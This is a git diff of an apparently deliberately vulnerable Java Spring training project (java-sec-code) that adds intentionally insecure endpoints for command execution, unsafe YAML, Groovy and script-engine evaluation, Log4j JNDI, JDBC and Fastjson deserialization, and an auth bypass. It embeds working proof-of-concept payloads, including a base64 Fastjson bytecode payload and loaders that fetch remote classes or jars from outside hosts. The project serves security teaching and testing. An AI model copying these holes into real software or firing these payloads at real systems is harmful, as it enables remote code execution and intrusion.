+ * 漏洞相关wiki + * @author JoyChou @2023-01-212 + */ + +public class Dotall { + + + /** + * 官方spring-security修复commit记录 + */ + public static void main(String[] args) throws Exception{ + Pattern vuln_pattern = Pattern.compile("/black_path.*"); + Pattern sec_pattern = Pattern.compile("/black_path.*", Pattern.DOTALL); + + String poc = URLDecoder.decode("/black_path%0a/xx", StandardCharsets.UTF_8.toString()); + System.out.println("Poc: " + poc); + System.out.println("Not dotall: " + vuln_pattern.matcher(poc).matches()); // false,非dotall无法匹配\r\n + System.out.println("Dotall: " + sec_pattern.matcher(poc).matches()); // true,dotall可以匹配\r\n + } +} diff --git a/src/main/java/org/joychou/controller/Fastjson.java b/src/main/java/org/joychou/controller/Fastjson.java index 684ee253..37c4ec18 100644 --- a/src/main/java/org/joychou/controller/Fastjson.java +++ b/src/main/java/org/joychou/controller/Fastjson.java @@ -10,30 +10,26 @@ import org.springframework.web.bind.annotation.ResponseBody; - @Controller @RequestMapping("/fastjson") public class Fastjson { - @RequestMapping(value = "/deserialize", method = {RequestMethod.POST }) + @RequestMapping(value = "/deserialize", method = {RequestMethod.POST}) @ResponseBody - public static String Deserialize(@RequestBody String params) { + public String Deserialize(@RequestBody String params) { // 如果Content-Type不设置application/json格式,post数据会被url编码 - System.out.println(params); try { // 将post提交的string转换为json JSONObject ob = JSON.parseObject(params); return ob.get("name").toString(); - }catch (Exception e){ - e.printStackTrace(); + } catch (Exception e) { return e.toString(); } } public static void main(String[] args) { - // Open calc in mac String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}"; - JSONObject object = JSON.parseObject(payload, Feature.SupportNonPublicField); + JSON.parseObject(payload, Feature.SupportNonPublicField); } } diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java index ac378219..a1858a12 100644 --- a/src/main/java/org/joychou/controller/FileUpload.java +++ b/src/main/java/org/joychou/controller/FileUpload.java @@ -1,11 +1,10 @@ package org.joychou.controller; import com.fasterxml.uuid.Generators; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.*; import org.springframework.web.multipart.MultipartFile; import org.springframework.web.servlet.mvc.support.RedirectAttributes; @@ -19,25 +18,30 @@ import java.nio.file.Paths; import java.util.UUID; +import org.joychou.security.SecurityUtil; + /** - * @author JoyChou (joychou@joychou.org) - * @date 2018.08.15 - * @desc Java file upload + * File upload. + * + * @author JoyChou @ 2018-08-15 */ - @Controller @RequestMapping("/file") public class FileUpload { // Save the uploaded file to this folder - private static String UPLOADED_FOLDER = "/tmp/"; + private static final String UPLOADED_FOLDER = "/tmp/"; + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + private static String randomFilePath = ""; - @GetMapping("/") + // uplaod any file + @GetMapping("/any") public String index() { return "upload"; // return upload.html page } + // only allow to upload pictures @GetMapping("/pic") public String uploadPic() { return "uploadPic"; // return uploadPic.html page @@ -63,42 +67,74 @@ public String singleFileUpload(@RequestParam("file") MultipartFile file, } catch (IOException e) { redirectAttributes.addFlashAttribute("message", "upload failed"); - e.printStackTrace(); - return "redirect:/file/status"; + logger.error(e.toString()); } return "redirect:/file/status"; } + @GetMapping("/status") + public String uploadStatus() { + return "uploadStatus"; + } + // only upload picture @PostMapping("/upload/picture") - public String uploadPicture(@RequestParam("file") MultipartFile multifile, - RedirectAttributes redirectAttributes) throws Exception{ + @ResponseBody + public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception { if (multifile.isEmpty()) { - // 赋值给uploadStatus.html里的动态参数message - redirectAttributes.addFlashAttribute("message", "Please select a file to upload"); - return "redirect:/file/status"; + return "Please select a file to upload"; } - // get suffix String fileName = multifile.getOriginalFilename(); - String Suffix = fileName.substring(fileName.lastIndexOf(".")); - + String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名 + String mimeType = multifile.getContentType(); // 获取MIME类型 + String filePath = UPLOADED_FOLDER + fileName; File excelFile = convert(multifile); - // security check - String picSuffixList[] = {".jpg", ".png", ".jpeg", ".gif", ".bmp"}; - Boolean suffixFlag = false; + + // 判断文件后缀名是否在白名单内 校验1 + String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"}; + boolean suffixFlag = false; for (String white_suffix : picSuffixList) { if (Suffix.toLowerCase().equals(white_suffix)) { suffixFlag = true; break; } } - if ( !suffixFlag || !isImage(excelFile) ) { - redirectAttributes.addFlashAttribute("message", "illeagl picture"); - deleteFile(excelFile); - return "redirect:/file/status"; + if (!suffixFlag) { + logger.error("[-] Suffix error: " + Suffix); + deleteFile(filePath); + return "Upload failed. Illeagl picture."; + } + + + // 判断MIME类型是否在黑名单内 校验2 + String[] mimeTypeBlackList = { + "text/html", + "text/javascript", + "application/javascript", + "application/ecmascript", + "text/xml", + "application/xml" + }; + for (String blackMimeType : mimeTypeBlackList) { + // 用contains是为了防止text/html;charset=UTF-8绕过 + if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) { + logger.error("[-] Mime type error: " + mimeType); + deleteFile(filePath); + return "Upload failed. Illeagl picture."; + } + } + + // 判断文件内容是否是图片 校验3 + boolean isImageFlag = isImage(excelFile); + deleteFile(randomFilePath); + + if (!isImageFlag) { + logger.error("[-] File is not Image"); + deleteFile(filePath); + return "Upload failed. Illeagl picture."; } @@ -107,48 +143,45 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile, byte[] bytes = multifile.getBytes(); Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename()); Files.write(path, bytes); - - redirectAttributes.addFlashAttribute("message", - "You successfully uploaded '" + UPLOADED_FOLDER + multifile.getOriginalFilename() + "'"); - } catch (IOException e) { - redirectAttributes.addFlashAttribute("message", "upload failed"); - e.printStackTrace(); - deleteFile(excelFile); - return "redirect:/file/status"; + logger.error(e.toString()); + deleteFile(filePath); + return "Upload failed"; } - deleteFile(excelFile); - return "redirect:/file/status"; + logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType); + logger.info("[+] Successfully uploaded {}", filePath); + return String.format("You successfully uploaded '%s'", filePath); } - @GetMapping("/status") - public String uploadStatus() { - return "uploadStatus"; - } - - private void deleteFile(File... files) { - for (File file : files) { - if (file.exists()) { - file.delete(); + private void deleteFile(String filePath) { + File delFile = new File(filePath); + if(delFile.isFile() && delFile.exists()) { + if (delFile.delete()) { + logger.info("[+] " + filePath + " delete successfully!"); + return; } } + logger.info(filePath + " delete failed!"); } /** + * 为了使用ImageIO.read() + * * 不建议使用transferTo,因为原始的MultipartFile会被覆盖 * https://stackoverflow.com/questions/24339990/how-to-convert-a-multipart-file-to-file - * - * @param multiFile - * @return */ private File convert(MultipartFile multiFile) throws Exception { String fileName = multiFile.getOriginalFilename(); String suffix = fileName.substring(fileName.lastIndexOf(".")); UUID uuid = Generators.timeBasedGenerator().generate(); - - File convFile = new File(UPLOADED_FOLDER + uuid + suffix); - convFile.createNewFile(); + randomFilePath = UPLOADED_FOLDER + uuid + suffix; + // 随机生成一个同后缀名的文件 + File convFile = new File(randomFilePath); + boolean ret = convFile.createNewFile(); + if (!ret) { + return null; + } FileOutputStream fos = new FileOutputStream(convFile); fos.write(multiFile.getBytes()); fos.close(); @@ -157,15 +190,9 @@ private File convert(MultipartFile multiFile) throws Exception { /** * Check if the file is a picture. - * - * @param file - * @return */ - public static boolean isImage(File file) throws IOException { + private static boolean isImage(File file) throws IOException { BufferedImage bi = ImageIO.read(file); - if (bi == null) { - return false; - } - return true; + return bi != null; } -} +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/GetRequestURI.java b/src/main/java/org/joychou/controller/GetRequestURI.java new file mode 100644 index 00000000..e500b980 --- /dev/null +++ b/src/main/java/org/joychou/controller/GetRequestURI.java @@ -0,0 +1,51 @@ +package org.joychou.controller; + + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.util.AntPathMatcher; +import org.springframework.util.PathMatcher; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; + +/** + * The difference between getRequestURI and getServletPath. + * 由于Spring Security的antMatchers("/css/**", "/js/**")未使用getRequestURI,所以登录不会被绕过。 + *

+ * Details: https://joychou.org/web/security-of-getRequestURI.html + *

+ * Poc: + * http://localhost:8080/css/%2e%2e/exclued/vuln + * http://localhost:8080/css/..;/exclued/vuln + * http://localhost:8080/css/..;bypasswaf/exclued/vuln + * + * @author JoyChou @2020-03-28 + */ + +@RestController +@RequestMapping("uri") +public class GetRequestURI { + + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + + @GetMapping(value = "/exclued/vuln") + public String exclued(HttpServletRequest request) { + + String[] excluedPath = {"/css/**", "/js/**"}; + String uri = request.getRequestURI(); // Security: request.getServletPath() + PathMatcher matcher = new AntPathMatcher(); + + logger.info("getRequestURI: " + uri); + logger.info("getServletPath: " + request.getServletPath()); + + for (String path : excluedPath) { + if (matcher.match(path, uri)) { + return "You have bypassed the login page."; + } + } + return "This is a login page >..<"; + } +} diff --git a/src/main/java/org/joychou/controller/IPForge.java b/src/main/java/org/joychou/controller/IPForge.java index d3550e4f..9950e766 100644 --- a/src/main/java/org/joychou/controller/IPForge.java +++ b/src/main/java/org/joychou/controller/IPForge.java @@ -1,25 +1,23 @@ package org.joychou.controller; import org.apache.commons.lang.StringUtils; -import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; import javax.servlet.http.HttpServletRequest; /** - * @author JoyChou (joychou@joychou.org) - * @date 2017.12.29 - * @desc Java获取IP安全代码 - * @detail 关于获取IP不安全代码,详情可查看https://joychou.org/web/how-to-get-real-ip.html + * Java get real ip. More details: https://joychou.org/web/how-to-get-real-ip.html + * + * @author JoyChou @ 2017-12-29 */ - -@Controller +@RestController @RequestMapping("/ip") public class IPForge { + // no any proxy @RequestMapping("/noproxy") - @ResponseBody public static String noProxy(HttpServletRequest request) { return request.getRemoteAddr(); } @@ -36,7 +34,7 @@ public static String proxy(HttpServletRequest request) { String ip = request.getHeader("X-Real-IP"); if (StringUtils.isNotBlank(ip)) { return ip; - }else { + } else { String remoteAddr = request.getRemoteAddr(); if (StringUtils.isNotBlank(remoteAddr)) { return remoteAddr; diff --git a/src/main/java/org/joychou/controller/Jdbc.java b/src/main/java/org/joychou/controller/Jdbc.java new file mode 100644 index 00000000..79154c1e --- /dev/null +++ b/src/main/java/org/joychou/controller/Jdbc.java @@ -0,0 +1,36 @@ +package org.joychou.controller; + +import lombok.extern.slf4j.Slf4j; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.sql.DriverManager; + +/** + * Jdbc Attack @2023.04 + */ +@Slf4j +@RestController +@RequestMapping("/jdbc") +public class Jdbc { + + /** + * CVE-2022-21724 + */ + @RequestMapping("/postgresql") + public void postgresql(String jdbcUrlBase64) throws Exception{ + byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64); + String jdbcUrl = new String(b); + log.info(jdbcUrl); + DriverManager.getConnection(jdbcUrl); + } + + @RequestMapping("/db2") + public void db2(String jdbcUrlBase64) throws Exception{ + Class.forName("com.ibm.db2.jcc.DB2Driver"); + byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64); + String jdbcUrl = new String(b); + log.info(jdbcUrl); + DriverManager.getConnection(jdbcUrl); + } +} diff --git a/src/main/java/org/joychou/controller/Jsonp.java b/src/main/java/org/joychou/controller/Jsonp.java new file mode 100644 index 00000000..eb9381e3 --- /dev/null +++ b/src/main/java/org/joychou/controller/Jsonp.java @@ -0,0 +1,141 @@ +package org.joychou.controller; + +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.JSONObject; + +import com.alibaba.fastjson.JSONPObject; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang.StringUtils; +import org.joychou.util.LoginUtils; +import org.joychou.security.SecurityUtil; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.http.MediaType; +import org.springframework.security.web.csrf.CookieCsrfTokenRepository; +import org.springframework.security.web.csrf.CsrfToken; +import org.springframework.web.bind.annotation.*; +import org.springframework.web.servlet.ModelAndView; +import org.springframework.web.servlet.view.json.MappingJackson2JsonView; +import org.joychou.config.WebConfig; +import org.joychou.util.WebUtils; + +import javax.servlet.http.HttpServletRequest; +import java.security.Principal; + + +/** + * @author JoyChou (joychou@joychou.org) @ 2018.10.24 + * https://github.com/JoyChou93/java-sec-code/wiki/JSONP + */ + +@Slf4j +@RestController +@RequestMapping("/jsonp") +public class Jsonp { + + private String callback = WebConfig.getBusinessCallback(); + + @Autowired + CookieCsrfTokenRepository cookieCsrfTokenRepository; + /** + * Set the response content-type to application/javascript. + *

+ * http://localhost:8080/jsonp/vuln/referer?callback_=test + */ + @RequestMapping(value = "/vuln/referer", produces = "application/javascript") + public String referer(HttpServletRequest request) { + String callback = request.getParameter(this.callback); + return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request)); + } + + /** + * Direct access does not check Referer, non-direct access check referer. + * Developer like to do jsonp testing like this. + *

+ * http://localhost:8080/jsonp/vuln/emptyReferer?callback_=test + */ + @RequestMapping(value = "/vuln/emptyReferer", produces = "application/javascript") + public String emptyReferer(HttpServletRequest request) { + String referer = request.getHeader("referer"); + + if (null != referer && SecurityUtil.checkURL(referer) == null) { + return "error"; + } + String callback = request.getParameter(this.callback); + return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request)); + } + + /** + * Adding callback or _callback on parameter can automatically return jsonp data. + * http://localhost:8080/jsonp/object2jsonp?callback=test + * http://localhost:8080/jsonp/object2jsonp?_callback=test + * + * @return Only return object, AbstractJsonpResponseBodyAdvice can be used successfully. + * Such as JSONOjbect or JavaBean. String type cannot be used. + */ + @RequestMapping(value = "/object2jsonp", produces = MediaType.APPLICATION_JSON_VALUE) + public JSONObject advice(HttpServletRequest request) { + return JSON.parseObject(LoginUtils.getUserInfo2JsonStr(request)); + } + + + /** + * http://localhost:8080/jsonp/vuln/mappingJackson2JsonView?callback=test + * Reference: https://p0sec.net/index.php/archives/122/ from p0 + * Affected version: java-sec-code test case version: 4.3.6 + * - Spring Framework 5.0 to 5.0.6 + * - Spring Framework 4.1 to 4.3.17 + */ + @RequestMapping(value = "/vuln/mappingJackson2JsonView", produces = MediaType.APPLICATION_JSON_VALUE) + public ModelAndView mappingJackson2JsonView(HttpServletRequest req) { + ModelAndView view = new ModelAndView(new MappingJackson2JsonView()); + Principal principal = req.getUserPrincipal(); + view.addObject("username", principal.getName()); + return view; + } + + + /** + * Safe code. + * http://localhost:8080/jsonp/sec?callback_=test + */ + @RequestMapping(value = "/sec/checkReferer", produces = "application/javascript") + public String safecode(HttpServletRequest request) { + String referer = request.getHeader("referer"); + + if (SecurityUtil.checkURL(referer) == null) { + return "error"; + } + String callback = request.getParameter(this.callback); + return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request)); + } + + /** + * http://localhost:8080/jsonp/getToken?fastjsonpCallback=aa + * + * object to jsonp + */ + @GetMapping("/getToken") + public CsrfToken getCsrfToken1(CsrfToken token) { + return token; + } + + /** + * http://localhost:8080/jsonp/fastjsonp/getToken?fastjsonpCallback=aa + * + * fastjsonp to jsonp + */ + @GetMapping(value = "/fastjsonp/getToken", produces = "application/javascript") + public String getCsrfToken2(HttpServletRequest request) { + CsrfToken csrfToken = cookieCsrfTokenRepository.loadToken(request); // get csrf token + + String callback = request.getParameter("fastjsonpCallback"); + if (StringUtils.isNotBlank(callback)) { + JSONPObject jsonpObj = new JSONPObject(callback); + jsonpObj.addParameter(csrfToken); + return jsonpObj.toString(); + } else { + return csrfToken.toString(); + } + } + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/Jwt.java b/src/main/java/org/joychou/controller/Jwt.java new file mode 100644 index 00000000..f3e4c126 --- /dev/null +++ b/src/main/java/org/joychou/controller/Jwt.java @@ -0,0 +1,64 @@ +package org.joychou.controller; + +import lombok.extern.slf4j.Slf4j; +import org.joychou.util.CookieUtils; +import org.joychou.util.JwtUtils; +import org.springframework.web.bind.annotation.CookieValue; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + + +/** + * + */ +@Slf4j +@RestController +@RequestMapping("/jwt") +public class Jwt { + + private static final String COOKIE_NAME = "USER_COOKIE"; + /** + * http://localhost:8080/jwt/createToken + * Create jwt token and set token to cookies. + * + * @author JoyChou 2022-09-20 + */ + @GetMapping("/createToken") + public String createToken(HttpServletResponse response, HttpServletRequest request) { + String loginUser = request.getUserPrincipal().getName(); + log.info("Current login user is " + loginUser); + + if (!CookieUtils.deleteCookie(response, COOKIE_NAME)){ + return String.format("%s cookie delete failed", COOKIE_NAME); + } + String token = JwtUtils.generateTokenByJavaJwt(loginUser); + Cookie cookie = new Cookie(COOKIE_NAME, token); + + cookie.setMaxAge(86400); // 1 DAY + cookie.setPath("/"); + cookie.setSecure(true); + response.addCookie(cookie); + return "Add jwt token cookie successfully. Cookie name is USER_COOKIE"; + } + + + /** + * http://localhost:8080/jwt/getName + * Get nickname from USER_COOKIE + * + * @author JoyChou 2022-09-20 + * @param user_cookie cookie + * @return nickname + */ + @GetMapping("/getName") + public String getNickname(@CookieValue(COOKIE_NAME) String user_cookie) { + String nickname = JwtUtils.getNicknameByJavaJwt(user_cookie); + return "Current jwt user is " + nickname; + } + +} diff --git a/src/main/java/org/joychou/controller/Log4j.java b/src/main/java/org/joychou/controller/Log4j.java new file mode 100644 index 00000000..b2ea4060 --- /dev/null +++ b/src/main/java/org/joychou/controller/Log4j.java @@ -0,0 +1,29 @@ +package org.joychou.controller; + +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class Log4j { + + private static final Logger logger = LogManager.getLogger("Log4j"); + + /** + * http://localhost:8080/log4j?token=${jndi:ldap://127.0.0.1:1389/0iun75} + * Default: error/fatal/off + * Fix: Update log4j to lastet version. + */ + @RequestMapping(value = "/log4j") + public String log4j(String token) { + logger.error(token); + return token; + } + + public static void main(String[] args) { + String poc = "${jndi:ldap://127.0.0.1:1389/0iun75}"; + logger.error(poc); + } + +} diff --git a/src/main/java/org/joychou/controller/Login.java b/src/main/java/org/joychou/controller/Login.java index 542f94e5..16769e4a 100644 --- a/src/main/java/org/joychou/controller/Login.java +++ b/src/main/java/org/joychou/controller/Login.java @@ -25,7 +25,7 @@ public String login() { } @GetMapping("/logout") - public String logoutPage (HttpServletRequest request, HttpServletResponse response) { + public String logoutPage(HttpServletRequest request, HttpServletResponse response) { String username = request.getUserPrincipal().getName(); diff --git a/src/main/java/org/joychou/controller/PathTraversal.java b/src/main/java/org/joychou/controller/PathTraversal.java index 76f9a2ce..1976b01b 100644 --- a/src/main/java/org/joychou/controller/PathTraversal.java +++ b/src/main/java/org/joychou/controller/PathTraversal.java @@ -41,9 +41,9 @@ private String getImgBase64(String imgFile) throws IOException { logger.info("File path: " + imgFile); File f = new File(imgFile); - if(f.exists() && !f.isDirectory()) { - byte[] data = Files.readAllBytes( Paths.get(imgFile) ); - return new String( Base64.encodeBase64(data) ); + if (f.exists() && !f.isDirectory()) { + byte[] data = Files.readAllBytes(Paths.get(imgFile)); + return new String(Base64.encodeBase64(data)); } else { return "File doesn't exist or is not a file."; } diff --git a/src/main/java/org/joychou/controller/QLExpress.java b/src/main/java/org/joychou/controller/QLExpress.java new file mode 100644 index 00000000..663589cd --- /dev/null +++ b/src/main/java/org/joychou/controller/QLExpress.java @@ -0,0 +1,44 @@ +package org.joychou.controller; + +import com.ql.util.express.DefaultContext; +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.config.QLExpressRunStrategy; +import org.joychou.util.WebUtils; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; + +@RestController(value = "/qlexpress") +public class QLExpress { + + /** + * url = 'http://sb.dog:8888/'; + * classLoader = new java.net.URLClassLoader([new java.net.URL(url)]); + * classLoader.loadClass('Hello').newInstance(); + */ + @RequestMapping("/vuln1") + public String vuln1(HttpServletRequest req) throws Exception{ + String express = WebUtils.getRequestBody(req); + System.out.println(express); + ExpressRunner runner = new ExpressRunner(); + DefaultContext context = new DefaultContext(); + Object r = runner.execute(express, context, null, true, false); + System.out.println(r); + return r.toString(); + } + + @RequestMapping("/sec") + public String sec(HttpServletRequest req) throws Exception{ + String express = WebUtils.getRequestBody(req); + System.out.println(express); + ExpressRunner runner = new ExpressRunner(); + QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true); + // Can only call java.lang.String#length() + QLExpressRunStrategy.addSecureMethod(String.class, "length"); + DefaultContext context = new DefaultContext(); + Object r = runner.execute(express, context, null, true, false); + System.out.println(r); + return r.toString(); + } +} diff --git a/src/main/java/org/joychou/controller/Rce.java b/src/main/java/org/joychou/controller/Rce.java index 983e3164..7c5f30a9 100644 --- a/src/main/java/org/joychou/controller/Rce.java +++ b/src/main/java/org/joychou/controller/Rce.java @@ -1,31 +1,36 @@ package org.joychou.controller; -import org.springframework.stereotype.Controller; +import groovy.lang.GroovyShell; +import lombok.extern.slf4j.Slf4j; +import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.yaml.snakeyaml.Yaml; +import org.yaml.snakeyaml.constructor.SafeConstructor; -import javax.servlet.http.HttpServletRequest; +import javax.script.Bindings; +import javax.script.ScriptContext; +import javax.script.ScriptEngine; +import javax.script.ScriptEngineManager; import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.InputStreamReader; + /** - * @author JoyChou (joychou@joychou.org) - * @date 2018.05.24 - * @desc Java code execute - * @fix 过滤造成命令执行的参数 + * Java code execute + * + * @author JoyChou @ 2018-05-24 */ - -@Controller +@Slf4j +@RestController @RequestMapping("/rce") public class Rce { - @RequestMapping("/exec") - @ResponseBody - public String CommandExec(HttpServletRequest request) { - String cmd = request.getParameter("cmd").toString(); + @GetMapping("/runtime/exec") + public String CommandExec(String cmd) { Runtime run = Runtime.getRuntime(); - String lineStr = ""; + StringBuilder sb = new StringBuilder(); try { Process p = run.exec(cmd); @@ -34,22 +39,100 @@ public String CommandExec(HttpServletRequest request) { String tmpStr; while ((tmpStr = inBr.readLine()) != null) { - lineStr += tmpStr + "\n"; - System.out.println(tmpStr); + sb.append(tmpStr); } if (p.waitFor() != 0) { if (p.exitValue() == 1) - return "command exec failed"; + return "Command exec failed!!"; } inBr.close(); in.close(); } catch (Exception e) { - e.printStackTrace(); - return "Except"; + return e.toString(); + } + return sb.toString(); + } + + + /** + * POC + */ + @GetMapping("/ProcessBuilder") + public String processBuilder(String cmd) { + + StringBuilder sb = new StringBuilder(); + + try { + String[] arrCmd = {"/bin/sh", "-c", cmd}; + ProcessBuilder processBuilder = new ProcessBuilder(arrCmd); + Process p = processBuilder.start(); + BufferedInputStream in = new BufferedInputStream(p.getInputStream()); + BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); + String tmpStr; + + while ((tmpStr = inBr.readLine()) != null) { + sb.append(tmpStr); + } + } catch (Exception e) { + return e.toString(); } - return lineStr; + + return sb.toString(); + } + + + /** + * http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js + * + * curl http://xx.yy/zz.js + * var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");} + * + * @param jsurl js url + */ + @GetMapping("/jscmd") + public void jsEngine(String jsurl) throws Exception{ + // js nashorn javascript ecmascript + ScriptEngine engine = new ScriptEngineManager().getEngineByName("js"); + Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE); + String cmd = String.format("load(\"%s\")", jsurl); + engine.eval(cmd, bindings); + } + + + /** + * http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://test.joychou.org:8086/yaml-payload.jar%22]]]] + * yaml-payload.jar: https://github.com/artsploit/yaml-payload + * + * @param content payloads + */ + @GetMapping("/vuln/yarm") + public void yarm(String content) { + Yaml y = new Yaml(); + y.load(content); + } + + @GetMapping("/sec/yarm") + public void secYarm(String content) { + Yaml y = new Yaml(new SafeConstructor()); + y.load(content); + } + + /** + * http://localhost:8080/rce/groovy?content="open -a Calculator".execute() + * @param content groovy shell + */ + @GetMapping("groovy") + public void groovyshell(String content) { + GroovyShell groovyShell = new GroovyShell(); + groovyShell.evaluate(content); + } + + + + public static void main(String[] args) throws Exception{ + Runtime.getRuntime().exec("touch /tmp/x"); } } diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java index a4344b85..be46f45b 100644 --- a/src/main/java/org/joychou/controller/SQLI.java 